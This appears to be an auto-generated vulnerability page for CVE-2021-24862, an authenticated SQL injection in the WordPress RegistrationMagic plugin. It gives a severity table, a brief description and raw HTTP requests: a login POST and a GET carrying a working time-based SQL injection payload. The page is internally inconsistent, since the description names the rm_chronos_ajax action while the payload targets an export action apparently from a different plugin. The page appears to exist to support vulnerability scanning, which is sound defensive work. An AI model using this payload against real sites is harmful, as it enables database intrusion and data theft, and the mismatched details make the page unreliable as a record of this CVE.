| Title | WordPress RegistrationMagic <5.0.1.6 - Authenticated SQL Injection |
|---|---|
| Author | theamanrawat |
| Severity | High |
| Impact | An authenticated attacker can execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation. |
| Remediation | Fixed in version 5.0.1.6. |
| CVSS Score | 7.2 |
| EPSS Score | 0.42876 |
| CVE ID | CVE-2021-24862 |
| CWE ID | CWE-89 |
| Tags | time-based-sqli cve cve2021 wpscan wp-plugin wordpress wp registrationmagic sqli authenticated packetstorm metagauss vuln |
WordPress RegistrationMagic plugin before 5.0.1.6 contains an authenticated SQL injection vulnerability. The plugin does not escape user input in its rm_chronos_ajax AJAX action before using it in a SQL statement when duplicating tasks in batches. An attacker can possibly obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. This is a potential issue in both WordPress and WordPress Administrator.
POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.6,2 Safari/605.1.15
Connection: close
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
log=mioHHD&pwd=31Pc73&wp-submit=Log+In
GET /wp-admin/admin-ajax.php?action=ays_sccp_results_export_file&sccp_id[]=3)%20AND%20(SELECT%205921%20FROM%20(SELECT(SLEEP(6)))LxjM)%20AND%20(7754=775&type=json HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.7.20) Gecko/ Firefox/14.0
Connection: close
Accept-Encoding: gzip
GET /wp-content/plugins/custom-registration-form-builder-with-submission-manager/admin/js/script_rm_utilities.js HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (ZZ; Linux i686) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36
Connection: close
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-24862.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-24862.pcap
N/AN/A